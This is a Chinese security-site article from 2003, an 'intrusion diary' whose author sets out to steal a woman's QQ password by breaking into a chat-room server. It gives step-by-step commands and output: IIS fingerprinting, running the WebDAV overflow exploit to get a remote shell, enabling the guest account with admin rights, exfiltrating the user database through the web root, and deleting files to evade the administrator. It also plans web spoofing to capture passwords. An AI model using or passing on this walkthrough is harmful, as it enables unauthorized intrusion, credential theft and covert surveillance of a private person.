📄 入侵日记一则.html
字号:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head><title>入侵日记一则 </title><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><meta name="Keywords" content="安全焦点, xfocus, 陷阱网络, honeynet, honeypot, 调查取证, forensic, 入侵检测, intrusion detection, 无线安全, wireless security, 安全论坛, security forums, 安全工具, security tools, 攻击程序, exploits, 安全公告, security advisories, 安全漏洞, security vulnerabilities, 安全教程, security tutorials, 安全培训, security training, 安全帮助, security help, 安全标准, security standards, 安全代码, security code, 安全资源, security resources, 安全编程, security programming, 加密, cryptography," /><link rel="stylesheet" href="../../css/plone.css" type="text/css"></head><body bgcolor="#FFFFFF" text="#000000"><div class="top"> <div class="searchBox"> <form name="searchform" action="http://www.google.com/search" method="get"> <input type="hidden" name="domains" value="www.xfocus.net"> <input type="hidden" name="sitesearch" value="www.xfocus.net"> <input type="text" name="q" size="20"> <input type="submit" name="btnG" value="Google Search"> </form> </div> <img src="../../images/logo.gif" border="0" width="180" height="80" alt="xfocus logo"> <img src="../../images/title.gif" border="0" width="230" height="20" alt="xfocus title"></div><div class="tabs"> <a href="../../index.html" class="plain">首页</a> <a href="../../releases/index.html" class="plain">焦点原创</a> <a href="../../articles/index.html" class="selected">安全文摘</a> <a href="../../tools/index.html" class="plain">安全工具</a> <a href="../../vuls/index.html" class="plain">安全漏洞</a> <a href="../../projects/index.html" class="plain">焦点项目</a> <a href="https://www.xfocus.net/bbs/index.php?lang=cn" class="plain">焦点论坛</a> <a href="../../about/index.html" class="plain">关于我们</a></div><div class="personalBar"> <a href='https://www.xfocus.net/php/add_article.php'>添加文章</a> <a href='http://www.xfocus.org/'>English Version</a></div><table class="columns"> <tr> <td class="left"><div class="box"> <h5> 文章分类 </h5> <div class="body"> <div class="content odd"> <div style="white-space: nowrap;"> <img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/4.html'>专题文章</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/2.html'>漏洞分析</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/3.html'>安全配置</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/1.html'><b>黑客教学 <<</b></a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/5.html'>编程技术</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/7.html'>工具介绍</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/6.html'>火墙技术</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/8.html'>入侵检测</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/9.html'>破解专题</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/11.html'>焦点公告</a><br><img src='../../images/folder_icon.gif' border='0'> <a href='../../articles/12.html'>焦点峰会</a><br> </div> </div> </div></div><div class="box"> <h5> 文章推荐 </h5> <div class="body"> <div class="content odd"> <img src='../../images/document_icon.gif' border='0'> <a href='../../articles/200307/579.html'>LSD RPC 溢出漏洞之分析</a><br><img src='../../images/document_icon.gif' border='0'> <a href='../../articles/200306/562.html'>任意用户模式下执行 ring 0 代码</a><br><img src='../../images/document_icon.gif' border='0'> <a href='../../articles/200307/563.html'>IIS的NSIISLOG.DLL溢出问题分析</a><br> </div> </div></div> </td> <td class="main"> <h1>入侵日记一则</h1><br>创建时间：2003-04-19<br>文章属性：原创<br>文章来源：oorin0<br>文章提交：<a href='https://www.xfocus.net/bbs/index.php?lang=cn&act=Profile&do=03&MID=33378'>oorin0</a> (wt200_at_km169.net)<br><br>Nick name:oorin0(oo0o,Xrin0)<br />
Email:wt200@km169.net or oo0o@ynmail.com <br />
QQ:33353290<br />
阅读人群:网络安全初学者<br />
入侵日记一则<br />
真不知道她现在过的怎么样,不过作为朋友,还是应该关心一下她的QQ上到底有哪些色狼:P,所以决定盗她<br />
<br />
的QQ密码.呵呵..好吧,现在切入正题,得到密码通常的方案有如下几种:<br />
1.直接入侵腾讯服务器 (疯子)<br />
2.在网吧安一个木马,再骗她去上网,呵呵...... (唉,好象她从来没有和我单独在一起过,明显讨厌我:)<br />
由于普通用户的EMAIL.QQ.聊天室密码（包括江湖) 大多一样，或者有简易变形，而聊天室，江湖网络较<br />
Tencent网络脆弱，因此，又可以有以下几种方案:<br />
3.ＷＥＢ破解邮箱密码 (她没有mail...)<br />
4.网络欺骗,在自己的网站上安装聊天室,叫她来上网:) (可惜我没有网站)<br />
5.通过对聊天室以及江湖服务器的攻击，来获得目标的密码.<br />
<br />
看来现在只有入侵网站,目标锁定为 xajh.xxx.com<br />
c:\>Pinging xajh.xxx.com [192.168.0.1] with 32 bytes of da<br />
<br />
Reply from 192.168.0.1: bytes=32 time=111ms TTL=125<br />
Reply from 192.168.0.1: bytes=32 time=102ms TTL=125<br />
Reply from 192.168.0.1: bytes=32 time=99ms TTL=125<br />
Reply from 192.168.0.1: bytes=32 time=96ms TTL=125<br />
<br />
Ping statistics for 192.168.0.1:<br />
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),<br />
Approximate round trip times in milli-seconds:<br />
Minimum = 96ms, Maximum = 111ms, Average = 102ms<br />
<br />
//得到对方IP为 192.168.0.1<br />
C:\>telnet 192.168.0.1 80<br />
GET [Enter]<br />
<br />
HTTP/1.1 400 Bad Request<br />
Server: Microsoft-IIS/5.0<br />
Date: Wed, 16 Apr 2003 11:18:38 GMT<br />
Content-Type: text/html<br />
Content-Length: 87<br />
<br />
<html><head><title>Error</title></head><body>The parameter is incorrect. </body><br />
</html><br />
<br />
失去了跟主机的连接。<br />
<br />
原来是Windows 2000,恩,试试Webdavx漏洞,到<a href='http://www.xfocus.net' target='_blank'>www.xfocus.net</a> 下了isno写的 Webdavx3.rar<br />
//Server: Microsoft-IIS/5.0 说明是windows 2000 如果是5.1 是xp ,4.0 是nt<br />
C:\>webdavx3 192.168.0.1<br />
IIS WebDAV overflow remote exploit by isno@xfocus.org<br />
start to try offset,<br />
if STOP a long time, you can press ^C and telnet 192.168.0.1 7788<br />
try offset: 0<br />
try offset: 1<br />
try offset: 2<br />
try offset: 3<br />
try offset: 4<br />
try offset: 5<br />
try offset: 6<br />
try offset: 7<br />
try offset: 8<br />
try offset: 9<br />
try offset: 10<br />
try offset: 11<br />
try offset: 12<br />
try offset: 13<br />
try offset: 14<br />
try offset: 15<br />
try offset: 16<br />
try offset: 17<br />
try offset: 18<br />
try offset: 19<br />
try offset: -1<br />
try offset: -2<br />
try offset: -3<br />
waiting for iis restart....................... （IIS在这里重起了，等一会）<br />
try offset: -4 <br />
<br />
//程序运行到这里停顿下来了，再开一个CMD,<br />
<br />
C:\>telnet 192.168.0.1 7788<br />
192.168.0.1: inverse host lookup failed: h_errno 11004: NO_DATA<br />
(UNKNOWN) [192.168.0.1] 7788 (?) open<br />
Microsoft Windows 2000 [Version 5.00.2195]<br />
(C) 版权所有 1985-2000 Microsoft Corp.<br />
<br />
C:\WINNT\system32>net user guest /active:y //激活guest帐户<br />
命令成功完成。<br />
<br />
C:\WINNT\system32>net user guest password123 //设置guest帐户密码为password123<br />
命令成功完成。<br />
<br />
C:\WINNT\system32>net localgroup administrators guest /add //将guest帐户加到administrators组<br />
命令成功完成。<br />
<br />
看看3389开了没有<br />
C:\>telnet 192.168.0.1 3389<br />
GET [Enter]<br />
_ //看到了等待符,说明开了.<br />
<br />
很好,用终端服务客户端连上对方计算机,打开"管理工具"->"计算机管理"->"服务和应用程序"->点<br />
<br />
击"Internet 信息服务" ,发现系统长时间没有反应..<br />
//在这里可以方便的知道对方WEB程序的物理路径<br />
C:\>telnet 192.168.0.1 80<br />
正在连接到192.168.0.1...不能打开到主机的连接， 在端口 80.<br />
由于目标机器积极拒绝，无法连接。<br />
//不能连接80端口,说明Webdavx溢出成功后,使IIS死掉了.<br />
先不管它,打开"搜索",查找一切有"xajh"字样的文件.<br />
//找WEB程序物理路径的另一方法,除此以外还有命令行中的 dir/s 等<br />
终于找到了,物理路径为d:\www\xajh\ .找到江湖的说明文件d:\www\xajh\说明文件.txt,发现江湖的数据库<br />
<br />
为c:\www\xajh\h3cw\hc3w_xajh.asp,将其复制一个为 d:\www\xajh\error.mdb.<br />
回到自己的机子上下载 <a href='http://xajh.xxx.com/error.mdb' target='_blank'>http://xajh.xxx.com/error.mdb</a>,打开一看,竟然只有1MB!? 看来被改过了,重新连接<br />
<br />
192.168.0.1的终端服务,发现d:\www\xajh\h3cs\zjh595.asp这个文件有13.6MB ,应该是它了吧,于是复制为<br />
<br />
d:\www\xajh\error1.mdb,然后回到自己的机子上下载<a href='http://xajh.xxx.com/error1.mdb' target='_blank'>http://xajh.xxx.com/error1.mdb</a><br />
下载完后,应该马上删除<a href='http://xajh.xxx.com/error.mdb' target='_blank'>http://xajh.xxx.com/error.mdb</a> 和<a href='http://xajh.xxx.com/error1.mdb' target='_blank'>http://xajh.xxx.com/error1.mdb</a> 以免引起网<br />
<br />
管注意.打开一看,竟然没有给access数据库加密码,呵呵.....!!! 再一看,咦,怎么所有的用户的密码都这样<br />
<br />
复杂~,查看d:\www\xajh\说明文件.txt 知道原来其用了MD5加密(现在的聊天室大多这样).由于暴力破解的困<br />
<br />
难性,想到了使用嗅探器,但是嗅探器会占用大量带宽,还是容易引起有经验的管理员怀疑,于是决定使用WEB欺<br />
<br />
骗,注意到刚才已经使IIS死了,需要重启IIS.//<br />
<br />
c:\>net start w3svc<br />
提示因未知原因服务不能启动<br />
<br />
看来只有重新启动计算机了.这里需要考虑到重新启动后,3389是否会开启(通常情况下,IIS会自动启动,但是<br />
<br />
终端服务可能会关闭)<br />
法一:<br />
打开"控制面板"->"管理工具"->"服务" <br />
找到 "Terminal Services" 双击,将"启动类型"改为"自动"<br />
找到 "World Wide Web Publishing" 双击,看是否为"自动"<br />
若均为"自动" 重启计算机后,IIS和终端服务都会自动启动.<br />
<br />
法二:<br />
打开共享,具体请参看iqst的<<一份详尽的IPC$入侵资料>><br />
c:\>net share<br />
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -